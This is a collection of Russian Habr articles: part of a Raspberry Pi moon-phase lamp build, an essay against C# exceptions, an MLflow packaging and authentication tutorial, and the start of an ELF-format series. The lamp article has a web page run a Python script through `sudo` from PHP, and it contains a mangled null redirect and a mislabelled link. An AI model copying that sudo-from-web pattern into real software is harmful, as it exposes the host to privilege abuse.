Тут, как и прежде, сферический абажур лампы собран из треугольников. Эти треугольники получаются путём разбиения 20 треугольных граней икосаэдра на 25 более мелких фрагментов. «Лунная» лампа собрана из 500 таких фрагментов, а в «солнечной» их было 320. Мне хотелось, чтобы размеры новой лампы были такими же, как и старой, поэтому «лунные» треугольники я сделал немного меньше «солнечных». Полагаю, можно сказать, что новая лампа имеет более высокое «разрешение», чем старая.
*Грани икосаэдров, из которых собраны лампы. Слева — грань «солнечной» лампы, справа — грань «лунной»*
Некоторых подробностей о [снапологии](https://youtu.be/bK06kua8Oyg) я касаюсь в моём видео о «солнечной» лампе. Если вы хотите поближе познакомиться с этой разновидностью оригами и посмотреть примеры её применения — взгляните на это видео. Если же рассказать о снапологии в двух словах, то окажется, что при таком стиле работы из прямоугольных полосок бумаги делают многоугольники, которые скрепляют друг с другом, используя бумажные соединительные элементы. Тут не используется ни клей, ни что-то подобное.
*Две жёлтых «снапологических» детали скреплены синим соединительным элементом*
Когда дело дошло до написания программы для первой лампы, то оказалось так, что поучиться мне на этом проекте особо не удалось, так как всё заработало с первого раза. Я действовал в соответствии с руководством по установке Adafruit и смотрел учебные материалы по MicroPython, ожидая, что столкнусь с проблемами. Но никаких проблем не возникло. Ничего не сгорело после того, как я проигнорировал просьбу из руководства Adafruit, касающуюся размещения конденсатора между «плюсом» и «минусом». Светодиодам хватило питания, они не светили тусклее, чем должны. RGB-значения не были обращены: красный был красным, зелёный — зелёным, а синий — синим. Поэтому мне не понадобилось рыться в коде примера. Когда я, наудачу, попробовал написать программу в моей обычной веб-IDE, всё у меня получилось. И мой первый опыт работы с crontab оказался удачным. В общем — всё было хорошо, но освоить что-то новое, решая проблемы, мне не удалось.
Подача питания на светодиоды NeoPixel
-------------------------------------
Первая задача моей учёбы заключалась в том, чтобы разобраться с питанием светодиодов NeoPixel от Raspberry Pi. Практически во всех встреченных мной описаниях разработок, подобных моей, использовался отдельный источник питания для светодиодов. Я нашёл несколько хороших видео, где показывали, как скрыть в конструкции устройства подходящий источник питания, но я почти не видел проектов, где светодиоды NeoPixel питались бы напрямую от 5В-пина Raspberry Pi. А на сайте Pi Hut, помимо других очень точных технических сведений, мне попалось такое предостережение общего характера:
*… рекомендуется подавать питание непосредственно с Raspberry Pi лишь на незначительное количество светодиодов NeoPixel.*
А «незначительное количество» — это сколько? И что произойдёт в тот момент, когда количество светодиодов превысит это таинственное «количество»? Будет ли единственным последствием этого постепенное уменьшение яркости светодиодов? Или результат окажется более интересным, скажем — Raspberry Pi просто взорвётся?
*Красный провод подаёт 5 В на светодиодное кольцо*
То, что я знаю об электричестве, то, что я в нём понимаю, до сих пор, по большей части, основано на том, что я изучал в школе. А именно, мне известно, что существует «треугольное» представление закона Ома, выражающее взаимоотношения между напряжением, силой тока и сопротивлением. В общем, нам нужно «топливо», «жар» и «кислород», а для того чтобы узнать электрический ток мы делим «топливо» на «кислород», и чем больше у нас «огня» — тем шире поток, и тем выше давление электронов. Правильно? Вроде, так оно и есть?
Я решил копнуть глубже.
На ресурсе [RasPi.TV](http://raspi.tv/2017/how-much-power-does-pi-zero-w-use) я узнал, что плата Raspberry Pi Zero использует, самое большее, 300 мА. А из одного хорошего видео я узнал о том, как найти сведения об ограничениях по току, применимых к Raspberry Pi. Большинство моделей этих плат имеют самовосстанавливающиеся предохранители, которые срабатывают при токе примерно в 2,5 А. Но такого предохранителя нет в Raspberry Pi Zero, в результате 5 В-пин подключается напрямую к источнику питания. На плате нет предохранителя! «А почему бы тогда не подключить вышеописанный мощный источник питания прямо к Raspberry Pi?», — подумал я.
При этом у меня не было полного понимания того, что может пойти не так, если подключить к плате слишком большую нагрузку. В попытке найти хоть сколько-нибудь точную интерпретацию понятия «незначительное количество светодиодов NeoPixel», я воспользовался поиском по [Stack Exchange](https://python.plainenglish.io/a-python-controlled-moon-phase-lamp-powered-by-raspberry-pi-ad8953593b4a) и нашёл две жемчужины мудрости:
*Зачем вы вообще размышляете об использовании Raspberry Pi в роли источника питания? … плата сыграет роль дорогого предохранителя.*
*Пины Raspberry Pi Zero напрямую подключены к питанию. Если их как следует перегрузить — можно сжечь дорожки печатной платы.*
Получается, что всё дело — в «жаре»! Мне не хотелось бы превратить мою бумажную луну в пылающий метеорит. Поэтому я подумал, что должен обеспечить запас прочности моей конструкции. В результате я решил, что «незначительное количество» может означать 16 светодиодов NeoPixel, но не 24 или 60.
У меня получилось, аккуратнее чем раньше, припаять провода к кольцу светодиодов. Правда, при этом мне ещё и удалось прожечь дыру в нашей виниловой скатерти.
*Кольцо светодиодов NeoPixel с припаянными проводами, установленное в основании лампы*
В руководстве Adafruit по работе со светодиодами NeoPixel сказано, что один такой светодиод потребляет, самое большее, 60 мА. Поэтому моё кольцо из 16 светодиодов должно потреблять 960 мА, то есть — чуть меньше 1 А. Эта теоретическая цифра была близка к показателям, полученным с USB-измерителя мощности.
*Приближение к 1 А на полной яркости светодиодов*
Управление лампой из браузера
-----------------------------
Следующим барьером моего обучения была организация такой схемы управления лампой, при использовании которой не наблюдалось бы больших задержек между выбором программы, задающей параметры работы лампы, и запуском этой программы.
Элементы управления моей «солнечной» лампой содержатся в форме, скрытой на моём персональном сайте. Когда выбирается программа работы лампы — PHP-программа записывает её имя в JSON-файл. Например, это может выглядеть как `{«program»:«morning»}`. Python-скрипт на Raspberry Pi, благодаря crontab, ежеминутно проверяет этот файл на предмет того, имеется ли в нём запрос на изменение программы работы лампы.
Всё это работало, но не идеально. Это — вроде как если бы тостер постоянно, дожидаясь моего «да», спрашивал бы меня о том, нужен ли мне поджаренный хлеб. Если мне нужен тост — я сам «сообщу» об этом тостеру!
Если говорить о попавшихся мне Arduino-проектах, похожих на то, что мне нужно, то у меня возникло такое ощущение, что таких проектов имеется довольно много. Но я решил не отходить от Raspberry Pi. Я знал о том, что мне понадобится веб-сервер, и мне было интересно узнать о том, подойдёт ли мне Lighttpd, так как он, по всей видимости, применяется для управления хэллоуинскими световыми шоу.
Встреча с давнишним врагом
--------------------------
Я начал воплощать в жизнь идеи из [руководства](https://youtu.be/pmmnbMeSQF8) по установке Lighttpd с PHP и Python, но очень скоро на моём пути возник давнишний враг: разрешения для файлов. Установка не удалась, я попробовал Apache, после чего был вынужден принять тот факт, что мне необходимо разобраться с CHMOD. Тогда я прочитал [руководство](https://www.dummies.com/computers/raspberry-pi/working-with-file-permissions-on-your-raspberry-pi/) по разрешениям для файлов и решил остановиться на Apache. Очень скоро мне удалось подключиться напрямую к лампе.
Следующим приключением был запуск Python-скрипта из браузера. Я ожидал, что эта задача окажется гораздо сложнее, и что мне, возможно, придётся освоить некий новый фреймворк, вроде Flask. Но всё решила одна строка PHP-кода:
```
system("sudo python3 pulse.py");
```
Следующим камнем преткновения стал тот факт, что многие из моих программ, управляющие работой лампы, выполняются в цикле `while true`. Сначала у меня получилась веб-страница, которая, похоже, после нажатия на кнопку, никогда не загружалась полностью. Правда, скоро я выяснил, что скрипт может выполняться в фоне, для чего ему надо передать некоторые особые аргументы:
```
system("sudo python3 pulse.py myargs /dev/null/ 2>&1");
```
Мне, кроме того, пришлось разобраться с отзывом на мой предыдущий проект по поводу корявого использования WGET для передачи файлов с моего сайта на Raspberry Pi. Редактирование Python-файла в веб-IDE и его передача — это одно, но, конечно, PHP — это совсем другое дело, учитывая передачу лишь выходных данных программы. Какие-то программные конструкции через WGET не передаются. Я почитал [материал](https://www.raspberrypi.org/documentation/remote-access/ssh/scp.md) по безопасному копированию данных на сайте Raspberry Pi и перешёл на гораздо более приличную схему редактирования кода в Sublime на моём Pixelbook. Я, наконец, стал пользоваться SCP для передачи файлов на Raspberry Pi.
Я не знаю, насколько всё это близко к «хакам», не знаю о том, стоит ли мне, развивая проект и развиваясь самому, изучить Flask или что-то подобное, но если говорить о запуске простого Python-скрипта из браузера, то моя конструкция работала хорошо. Из одного руководства я узнал о том, что с использованием Flask светодиоды включаются практически мгновенно. А при моём подходе имеется короткая (вполне приемлемая) задержка. Я подозреваю, что причиной этой задержки является тот факт, что моя программа начинает работу с «убийства» существующих Python-процессов:
```
#функция, убивающая процессы.
def killAllButParent():
for proc in psutil.process_iter():
pinfo = proc.as_dict(attrs=['pid', 'name'])
procname = str(pinfo['name'])
procpid = str(pinfo['pid'])
if "python" in procname and procpid != str(os.getpid()):
print("Stopped Python Process ", proc)
proc.kill()
```
Использование сайта Visual Crossing для получения сведений о фазах Луны
-----------------------------------------------------------------------
*Полумесяц*
Я надеялся, что лампа сможет нагляднее демонстрировать фазы Луны в том случае, если я применю в её конструкции разделитель, показанный ниже. Но, даже когда надо было показать полумесяц, от элементов разделителя отражалось так много света (а это не входило в мои планы), что эффект от него, в общем-то, терялся. Правда, сами эксперименты с разделителем оказались довольно-таки поучительными.
*Разделитель*
Сведения о фазах Луны я нашёл на сайте [Visual Crossing](https://www.visualcrossing.com). Он даёт своим клиентам разнообразные API, позволяющие получать погодные и астрономические данные. После того, как я зарегистрировал на этом сайте бесплатную учётную запись, я смог воспользоваться их системой описания фаз Луны.
*Система числового описания фаз Луны с сайта Visual Crossing*
Интересующий меня API возвращает JSON-файл. Потом Python-скрипт извлекает из этого файла данные о фазе луны и использует эти данные для включения нужных светодиодов.
Visual Crossing — это, определённо, сервис, к которому я ещё вернусь, так как пользоваться им очень просто.
Итоги
-----
Если говорить о [снапологии](https://youtu.be/bK06kua8Oyg), то я понимаю, что не уверен в том, что использование большего количества более мелких элементов может помочь в создании более качественной лампы, так как при этом возникают трудности с приданием лампе сферической формы. Но в остальном могу сказать, что моя лампа хорошо выполняет свои функции. А если говорить о дальнейшем развитии подобных проектов с точки зрения используемого в них ПО, то я думаю, что моим следующим шагом станет изучение Flask и MQTT.
Хотите сделать свою «лунную» лампу?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=lampa_dlya_slezheniya_za_fazami_luny_na_raspberry_pi_i_python) | https://habr.com/ru/post/566098/ | null | ru | null |
# Почему концепция Exception в C# — зло
В этой короткой заметке я поделюсь наблюдениями о проблемах концепции exception в языке C#, именно о тех, которые возникают от самого факта наличия такой ее реализации. И оставлю “за скобками" проблемы, которые появляются от ее неправильного использования. Ниже я перечислю и опишу их.
Непредсказуемость
-----------------
Недостаток заключается в том, что при вызове метода по интерфейсу нельзя сказать, выбросит ли он exception-ы и каких типов они могут быть.
Рассмотрим код ниже:
```
public void Method(IMapper mapper)
{
...
mapper.Save();
...
}
```
Во-первых, автор такого кода вынужден принять тот факт, что из метода Save может вылететь абсолютно любой exception.
Во-вторых, если до и после кода "mapper.Save()" есть какая-то логика, то мы не знаем, будет ли она выполнена вся, потому что может случиться исключение.
Не наглядность
--------------
Даже когда вы имеете дело с определенным методом, из класса без виртуальных методов, единственный способ узнать, какие exception могут быть выброшены из вызываемого метода -- полностью исследовать его исходный код вплоть до самого мелкого метода, которые вызываются внутри него.
Но это не решает задачу полностью, т.к. при любом обновлении библиотек работу по исследованию метода придется проделывать заново, что в целом невозможно в реальных приложениях.
Хорошо, что современные IDE умеют подкачивать исходники или даже декомпилировать код, если не удалось найти исходник. *Как люди раньше жили, не очень понятно.*
Runtime
-------
Выше описанные проблемы приводят нас к ситуации, в которой мы вынуждены на самом верхнем уровне приложения ловить все exception-ы, записывать их в лог и затем уже на этапе эксплуатации из лога вычитывать, что же там случилось и решать, как не допустить исключения в будущем.
Выводы
------
К сожалению, концепция Exception сидит глубоко в самом языке C#, и еще глубже и обширнее она проникла в сам фреймворк. Остается только смириться с тем, что не предсказуемы exception будут возникать на production-серверах в наших приложениях.
Я бы рекомендовал как минимум избегать в своих библиотеках использование этой концепции в пользу функционального стиля, когда все возможные варианты возвращаемых значений описываются через discriminant union. В C# его аналогом, для этой задачи, можно считать паттерн OneOf. Ну а как максимум - оборачивать внешние библиотеки в свои обертки, которые гарантируют exception free код.
Надеюсь, когда-нибудь появится движение Exception Free Code, которое будет публиковать обертки над стандартными библиотеками, гарантирующие, что вызов метода не приведет к exception, и все возможные значения, которые могут быть возвращены из метода будут описываться явно через возвращаемый тип.
Приглашение к дискуссии
-----------------------
Мне кажется, что проблему можно было бы решить через анализаторы кода, которые, во-первых подсказывали бы какие exception возможны там, где это известно, и во-вторых, обязывали бы на этапе компиляции, когда уже точно известны все зависимости, обработать все exception на уровне приложения. Не ясно, как быть с динамическим созданием типа по его имени. Но тут можно обязать в месте создания и использование такого типа оборачивать все в общий catch. | https://habr.com/ru/post/551326/ | null | ru | null |
# Как упаковывать и дистрибутировать модели машинного обучения с помощью MLFlow
*MLFlow - это инструмент для управления всеми стадиями жизненного цикла модели машинного обучения. Более того, в статье рассматриваются вопросы инсталляции и настройки службы MLFlow, а также приводятся примеры создания и совместного использования проектов с помощью MLFlow.*
На каждом этапе разработки жизненного цикла ML-модели одним из основных видов деятельности является сотрудничество. Прохождение пути ML-модели от концепции до внедрения (деплоя) требует участия и взаимодействия различных функций, вовлеченных в создание модели. Кроме того, природа разработки ML-модели включает в себя проведение экспериментов, отслеживание артефактов и метрик, версий модели и т.д., что требует эффективной организации для корректной поддержки жизненного цикла ML-модели.
К счастью, существуют инструменты для разработки и обеспечения жизненного цикла модели, такие как [MLflow](https://mlflow.org/). В этой статье мы расскажем о MLflow, его основных компонентах и характеристиках. А также приведем примеры, показывающие, как MLflow работает на практике.
### Что такое MLflow?
MLflow - это инструмент с открытым исходным кодом для разработки, сопровождения и взаимодействия на каждом этапе жизненного цикла ML-модели. Более того, MLflow является инструментом, не зависящим от фреймворка, поэтому любой ML/DL-фреймворк может быстро адаптироваться к экосистеме, которую предлагает MLflow.
MLflow выступает в качестве платформы, предлагающей инструменты для отслеживания метрик, артефактов и метаданных. Она также предоставляет стандартные форматы для упаковки, распространения и развертывания моделей и проектов.
MLflow также предлагает инструменты для управления версиями модели. Эти инструменты инкапсулированы в ее четырех основных компонентах:
* MLflow Tracking,
* MLflow Projects,
* MLflow Models и
* MLflow Registry.
### MLflow Tracking
[MLflow Tracking](https://mlflow.org/docs/latest/tracking.html) - это инструмент на основе API для регистрации метрик, параметров, версий моделей, кода и файлов. MLflow Tracking интегрирован с пользовательским интерфейсом для визуализации и управления артефактами, моделями, файлами и т.д.
Каждая сессия MLflow Tracking организуется и управляется в соответствии с концепцией прогонов. Прогон означает выполнение кода, в ходе которого осуществляется явное логирование артефактов.
MLflow Tracking позволяет вам генерировать прогоны через [Python](https://www.mlflow.org/docs/latest/python_api/index.html), [R](https://www.mlflow.org/docs/latest/R-api.html), [Java](https://www.mlflow.org/docs/latest/java_api/index.html) и [REST](https://www.mlflow.org/docs/latest/rest-api.html)\_API от MLflow. По умолчанию прогоны хранятся в каталоге, где выполнена сессия. Однако MLflow также позволяет хранить артефакты на локальном или удаленном сервере.
### MLflow Model
[MLflow Mode](https://mlflow.org/docs/latest/models.html)ls позволяют упаковывать модели машинного обучения в стандартный формат для непосредственного использования через различные сервисы, такие как REST API, Microsoft Azure ML, Amazon SageMaker или Apache Spark. Одним из преимуществ стандарта MLflow Models является то, что упаковка может быть осуществлена для нескольких языков (multi-language) или вариантов (вкусов) (multi-flavor).
Для упаковки MLflow создает каталог с двумя файлами - моделью и файлом, в котором указаны детали упаковки и загрузки модели. Для примера, в следующем сниппете кода показан файл MLmodel, где указан загрузчик вкусов, а также файл `conda.yaml`, определяющий окружение.
```
artifact_path: model
flavors:
python_function:
env: conda.yaml
loader_module: MLflow.sklearn
model_path: model.pkl
python_version: 3.8.2
sklearn:
pickled_model: model.pkl
serialization_format: cloudpickle
sklearn_version: 0.24.2
run_id: 39c46969dc7b4154b8408a8f5d0a97e9
utc_time_created: '2021-05-29 23:24:21.753565'
```
### MLflow Project
[MLflow Projec](https://www.mlflow.org/docs/latest/projects.html)ts предоставляет стандартный формат для упаковки, обмена и повторного использования проектов машинного обучения. Каждый проект может находиться в удаленном репозитории или в локальном каталоге. В отличие от MLflow Models, MLflow Projects ориентирован на удобство переноса и дистрибуции проектов машинного обучения.
Проект MLflow определяется манифестом YAML под названием `MLProject`, в котором раскрываются спецификации проекта.
Ключевые характеристики для имплементации модели указаны в файле MLProject. К ним относятся:
* входные параметры, полученные моделью,
* тип данных параметров,
* команда для выполнения модели, и
* среда, в которой проект запускается.
В следующем сниппете показан пример файла MLProject, в котором реализуемая модель представляет собой дерево решений, единственным параметром которого является его глубина со значением по умолчанию равным 2.
```
name: example-decision-tree
conda_env: conda.yaml
entry_points:
main:
parameters:
tree_depth: {type: int, default: 2}
command: "python main.py {tree_depth}"
```
Кроме того, MLflow предоставляет CLI (интерфейс командной строки) для запуска проектов, расположенных на локальном сервере или в удаленном репозитории. Приведенный ниже сниппет кода показывает пример запуска проекта с локального сервера или удаленного хранилища:
```
$ mlflow run model/example-decision-tree -P tree_depth=3
$ mlflow run git@github.com:FernandoLpz/MLflow-example.git -P tree_depth=3
```
В обоих примерах среда будет сгенерирована на основе спецификации `MLProject file`. Команда, запускающая модель, будет выполнена в соответствии с аргументами, переданными в командной строке. Поскольку модель предусматривает входные параметры, они назначаются с помощью флага `-P`. В обоих примерах параметр модели относится к максимальной глубине дерева решений.
По умолчанию прогон, подобный тому, что показан в примере, будет хранить артефакты в каталоге `.mlruns`.
### Как хранить артефакты на MLflow-сервере?
Одним из наиболее распространенных вариантов применения при имплементации MLflow является использование MLflow -cервер для регистрации метрик и артефактов. MLflow-сервер отвечает за управление артефактами и файлами, создаваемыми MLflow-клиентом. Эти артефакты могут храниться в различных системах, от каталога файлов до удаленной базы данных. Например, чтобы запустить MLflow-сервер локально, наберем:
```
$ mlflow server
```
Приведенная выше команда запустит MLflow сервис через IP-адрес http://127.0.0.1:5000/. Для хранения артефактов и метрик URI отслеживания сервера определяется в клиентской сессии.
В следующем сниппете мы увидим базовую имплементацию хранения артефактов на MLflow-сервере:
```
import MLflow
remote_server_uri = "http://127.0.0.1:5000"
MLflow.set_tracking_uri(remote_server_uri)
with MLflow.start_run():
MLflow.log_param("test-param", 1)
MLflow.log_metric("test-metric", 2)
```
Команда `MLflow.set\_tracking\_uri ()` устанавливает местоположение сервера.
### Как запустить аутентификацию на MLflow-сервере?
Использование сервера без аутентификации может быть рискованным. Поэтому ее необходимо добавить. Аутентификация будет зависеть от экосистемы, в которой вы будете размещать сервер:
* на локальном сервере достаточно добавить базовую аутентификацию на основе *пользователя (user)* и *пароля (password)*,
* на удаленном сервере учетные данные должны быть настроены в сочетании с соответствующими прокси.
Для наглядности рассмотрим пример MLflow-сервера, развернутого с использованием базовой аутентификации (*имя пользователя (username)* и *пароль*). Мы также увидим, как настроить клиента для работы с этим сервером.
### Пример: Аутентификация MLflow-сервера
В этом примере мы применяем базовую аутентификацию пользователя и пароля на MLflow-сервере через обратный прокси Nginx.
Начнем с инсталляции Nginx, которую можно осуществить следующим образом:
```
# For darwin based OS
$ brew install nginx
# For debian based OS
$ apt-get install nginx
# For redhat based OS
$ yum install nginx
```
Для ОС Windows следует использовать встроенный Win32 API. Пожалуйста, следуйте подробным инструкциям [здесь](https://nginx.org/en/docs/windows.html).
После инсталляции мы создадим пользователя с соответствующим паролем с помощью команды `htpasswd`, которая выглядит следующим образом:
```
sudo htpasswd -c /usr/local/etc/nginx/.htpasswd MLflow-user
```
Приведенная выше команда создает учетные данные для пользователя `mlflow-user` в файле `.htpasswd` службы nginx. Позже, чтобы определить прокси под созданные учетные данные пользователя, модифицируется конфигурационный файл `/usr/local/etc/nginx/nginx.conf`, по умолчанию имеющий такое содержимое:
```
server {
listen 8080;
server_name localhost;
# charset koi8-r;
# access_log logs/host.access.log main;
location / {
root html;
index index.html index.htm;
}
```
которое должно выглядеть так:
```
server {
# listen 8080;
# server_name localhost;
# charset koi8-r;
# access_log logs/host.access.log main;
location / {
proxy_pass http://localhost:5000;
auth_basic "Restricted Content";
auth_basic_user_file /usr/local/etc/nginx/.htpasswd;
}
```
Мы определяем прокси аутентификации для локального хоста (localhost) через порт 5000. Это IP-адрес и номер порта, на котором по умолчанию развернут MLflow-сервер. В случае использования облачного провайдера вы должны настроить учетные данные и прокси, необходимые для имплементации. Теперь инициализируйте MLflow-сервер, как показано в следующем сниппете:
```
$ MLflow server --host localhost
```
При попытке доступа к http://localhost в браузере будет запрошена аутентификация через созданные имя пользователя и пароль.
Рисунок 1. Вход в системуПосле ввода учетных данных вы будете направлены в пользовательский интерфейс MLflow-сервера.
Рисунок 2. Пользовательский интерфейс MLflow-сервера
Чтобы сохранить клиентские данные на MLflow-сервере, необходимо:
* определить переменные окружения, которые будут содержать учетные данные для доступа к серверу и
* задать URI, где будут храниться артефакты.
Итак, для учетных данных мы экспортируем следующие переменные окружения:
```
$ export MLflow_TRACKING_USERNAME=MLflow-user
$ export MLflow_TRACKING_PASSWORD=MLflow-password
```
После того, как вы определили переменные окружения, остается только определить URI сервера для хранения артефактов.
```
import MLflow
# Define MLflow Server URI
remote_server_uri = "http://localhost"
MLflow.set_tracking_uri(remote_server_uri)
with MLflow.start_run():
MLflow.log_param("test-param", 2332)
MLflow.log_metric("test-metric", 1144)
```
При выполнении приведенного выше сниппета мы видим, как тестовая метрика и параметр отражаются на сервере.
Рисунок 3. Метрики и параметры, сохраняемые из клиентской службы с аутентификацией на сервере.
### Как зарегистрировать MLflow-модель?
Одной из повседневных потребностей при разработке моделей машинного обучения является поддержание определенного порядка в версиях моделей. Для этого MLflow предлагает реестр [MLflow Registry](https://mlflow.org/docs/latest/model-registry.html).
MLflow Registry - это расширение, которое помогает:
* управлять версиями каждой MLModel и
* фиксировать процесс эволюции каждой модели на трех различных стадиях: архив, *стейджинг* и *продакшн*. *Это* очень похоже на систему версий git.
Существует четыре альтернативы для регистрации модели:
* через пользовательский интерфейс,
* в качестве аргумента для `MLflow. .log\_model()`,
* с помощью метода `MLflow.register\_model()` или
* с помощью клиентского API `create\_registered\_model()`.
В следующем примере модель зарегистрирована с помощью метода `MLflow. .log\_model()`:
```
with MLflow.start_run():
model = DecisionTreeModel(max_depth=max_depth)
model.load_data()
model.train()
model.evaluate()
MLflow.log_param("tree_depth", max_depth)
MLflow.log_metric("precision", model.precision)
MLflow.log_metric("recall", model.recall)
MLflow.log_metric("accuracy", model.accuracy)
# Register the model
MLflow.sklearn.log_model(model.tree, "MyModel-dt", registered_model_name="Decision Tree")
```
Если это новая модель, MLFlow инициализирует ее как *Версия 1*. Если модель уже имеет версию, она будет инициализирована как *Версия 2* (или последующая версия).
По умолчанию, в процессе регистрации модели назначается статус none (присвоенный статус отсутствует). Чтобы присвоить статус зарегистрированной модели, необходимо действовать следующим образом:
```
client = MLflowClient()
client.transition_model_version_stage(
name="Decision Tree",
version=2,
stage="Staging"
)
```
В приведенном выше сниппете *версия 2* модели *Decision Tree* *(дерево решений)* назначена состоянию *Staging (стейджинг)*. В пользовательском интерфейсе сервера мы можем видеть состояния, как показано на Рисунке 4:
Рисунок 4. Зарегистрированные модели
Чтобы обслуживать модель, мы будем использовать MLflow CLI, для этого нам нужен только URI сервера, имя и статус модели, как показано ниже:
```
$ export MLflow_TRACKING_URI=http://localhost
$ mlflow models serve -m "models:/MyModel-dt/Production"
```
### Обслуженная модель и POST-запросы
```
$ curl http://localhost/invocations -H 'Content-Type: application/json' -d '{"inputs": [[0.39797844703998664, 0.6739875109527594, 0.9455601866618499, 0.8668404460733665, 0.1589125298570211]}'
[1]%
```
В предыдущем сниппете кода выполняется POST-запрос на адрес, где обслуживается модель. В запросе был передан массив, содержащий пять элементов, которые модель рассчитывает получить в качестве входных данных для анализа. В данном случае результат прогноза оказался равен 1.
Однако важно отметить, что MLFlow позволяет определять структуру данных для инференции в файле `MLmodel` через имплементацию [сигнатур](https://www.mlflow.org/docs/latest/_modules/mlflow/models/signature.html). Также данные, передаваемые через запрос, могут быть различных типов, узнать о которых можно [здес](https://www.mlflow.org/docs/latest/_modules/mlflow/models/signature.html)ь.
Полную имплементацию предыдущего примера можно [найти здесь](https://github.com/FernandoLpz/MLFlow-example).
### MLflow-плагины
Из-за того, что MLflow не зависит от фреймворка, возникли [MLflow-плагины](https://mlflow.org/docs/latest/plugins.html#writing-your-own-mlflow-plugins). Их основная функция - адаптивное расширение функциональных возможностей MLflow для различных фреймворков.
MLflow-плагины позволяют кастомизировать и адаптировать деплой и хранение артефактов для конкретных платформ.
Например, существуют плагины для деплоя на конкретной платформе:
* [MLflow-redisai](https://github.com/RedisAI/mlflow-redisai): который делает деплои в [RedisAI](https://oss.redislabs.com/redisai/) из моделей, созданных и управляемых в MLFlow,
* [MLflow-torchserve](https://github.com/mlflow/mlflow-torchserve): который позволяет осуществлять деплой моделей [PyTorch](https://pytorch.org/) непосредственно на [TorchServe](https://github.com/pytorch/serve),
* [MLflow-algorithmia](https://github.com/algorithmiaio/mlflow-algorithmia): позволяет выполнять деплой моделей, созданных и управляемых с помощью MLFlow, в инфраструктуру [Algorithmia](https://algorithmia.com/), и
* [MLflow-ray-serve](https://github.com/ray-project/mlflow-ray-serve): поддерживает деплой моделей MLFlow в инфраструктуре [Ray](https://docs.ray.io/en/master/serve/).
С другой стороны, для работы над MLflow Projects у нас есть [MLflow-yarn](https://github.com/criteo/mlflow-yarn), плагин управления MLProjects в среде [Hadoop](https://hadoop.apache.org/) / [Yarn](https://yarnpkg.com/). Для кастомизации MLflow Tracking имеется [MLflow-elasticsearchstore](https://github.com/criteo/mlflow-elasticsearchstore), который позволяет управлять расширением MLFlow Tracking в среде [Elasticsearch](https://www.elastic.co/).
Подобным образом, предлагаются специальные плагины для развертывания в *AWS* и *Azure*. К ним относятся:
* [*MLflow.sagemaker*](https://www.mlflow.org/docs/latest/python_api/mlflow.sagemaker.html) и
* [*MLflow.azureml*](https://docs.microsoft.com/en-us/azure/databricks/applications/mlflow/).
Важно отметить, что MLflow предоставляет возможность создавать и [кастомизировать плагины](https://www.mlflow.org/docs/latest/plugins.html#writing-your-own-mlflow-plugins) в соответствии с потребностями.
### MLflow в сравнении с Kubeflow
В связи с растущим спросом на инструменты для разработки и поддержки жизненного цикла моделей машинного обучения появились различные альтернативы, такие как MLflow и [KubeFlow](https://www.kubeflow.org/).
Как мы уже видели в этой статье, MLflow - это инструмент, позволяющий совместно разрабатывать жизненный цикл моделей машинного обучения, в основном ориентированный на отслеживание артефактов (MLflow Tracking), совместную работу, сопровождение и версионирование проекта.
С другой стороны, существует KubeFlow, который, как и MLflow, является инструментом для разработки моделей машинного обучения с некоторыми специфическими отличиями.
Kubeflow - это платформа, работающая на кластере [Kubernetes](https://kubernetes.io/); то есть KubeFlow использует преимущества контейнеризации, которая присуща Kubernetes. Кроме того, KubeFlow предоставляет такие инструменты, как [KubeFlow Pipelines](https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/), которые предназначены для создания и автоматизации пайплайнов (DAGs) с помощью расширения SDK.
KubeFlow также предлагает [Katib](https://www.kubeflow.org/docs/components/katib/overview/), инструмент для оптимизации гиперпараметров в больших масштабах, и предоставляет сервис для управления и совместной работы с блокнотами Jupyter.
В частности, MLflow - это инструмент, ориентированный на управление и совместную работу для разработки проектов машинного обучения. С другой стороны, Kubeflow - это платформа, ориентированная на разработку, обучение и развертывание моделей с помощью кластера Kubernetes и использования контейнеров.
Обе платформы обладают значительными преимуществами и являются альтернативными вариантами для разработки, поддержки и деплоя моделей машинного обучения. Однако крайне важно учитывать порог вхождения для использования, имплементации и интеграции этих технологий в команды разработчиков.
Поскольку Kubeflow связан с кластером Kubernetes, для его имплементации и интеграции, желательно иметь эксперта по управлению этой технологией. Аналогичным образом, разработка и конфигурирование автоматизации пайплайнов также является сложной задачей, требующей кривой обучения, что при определенных обстоятельствах может быть не выгодно для компаний.
В заключение, следует отметить, что MLflow и Kubeflow - это платформы, сфокусированные на определенных этапах жизненного цикла моделей машинного обучения. MLflow - это инструмент, ориентированный на совместную работу, а Kubeflow больше предназначен для использования преимуществ кластера Kubernetes при генерации задач машинного обучения. Однако Kubeflow требует опыта в части MLOps. Необходимо обладать знаниями о методах деплоя сервисов в Kubernetes, что может стать проблемой, которую нужно учитывать при попытке начать освоение Kubeflow.
> Перевод статьи подготовлен в преддверии старта курса [Machine Learning. Advanced](https://otus.pw/nH4J/).
>
>
* [Узнать о курсе подробнее и зарегистрироваться на бесплатный урок](https://otus.pw/nH4J/) | https://habr.com/ru/post/698130/ | null | ru | null |
# Часть 0. Требуется эльф для работы в Матрице. Возможна релокация
**Внимание: содержит системное программирование. Да, в сущности, ничего другого и не содержит.**
Давайте представим, что вам дали задание написать фэнтезийно-фантастическую игру. Ну там про эльфов. И про виртуальную реальность. Вы с детства мечтали написать что-нибудь эдакое и, не раздумывая, соглашаетесь. Вскоре вы понимаете, что о мире эльфов вы знаете по большей части из анекдотов со старого башорга и прочих разрозненных источников. *Упс, неувязочка.* Ну, где наша не пропадала… Наученный богатым программистским опытом, вы отправляетесь в Гугл, вводите «Elf specification» и идёте по ссылкам. О! Вот эта ведёт на [какую-то PDF-ку](https://refspecs.linuxfoundation.org/elf/elf.pdf)… так, что тут у нас… какой-то `Elf32_Sword` — эльфийские мечи — похоже, то что нужно. 32 — это, по-видимому, уровень персонажа, а две четвёрки в следующих столбцах — это урон, наверное. Точно то, что нужно, да к тому же как систематизировано!..
Как говорилось в одной задаче по олимпиадному программированию после пары абзацев подробного текста на тему Японии, самураев и гейш: «Как вы уже поняли, задача будет совсем не об этом». Ах да, контест был, естественно, на время. В общем, пятиминутку упоротости объявляю закрытой.
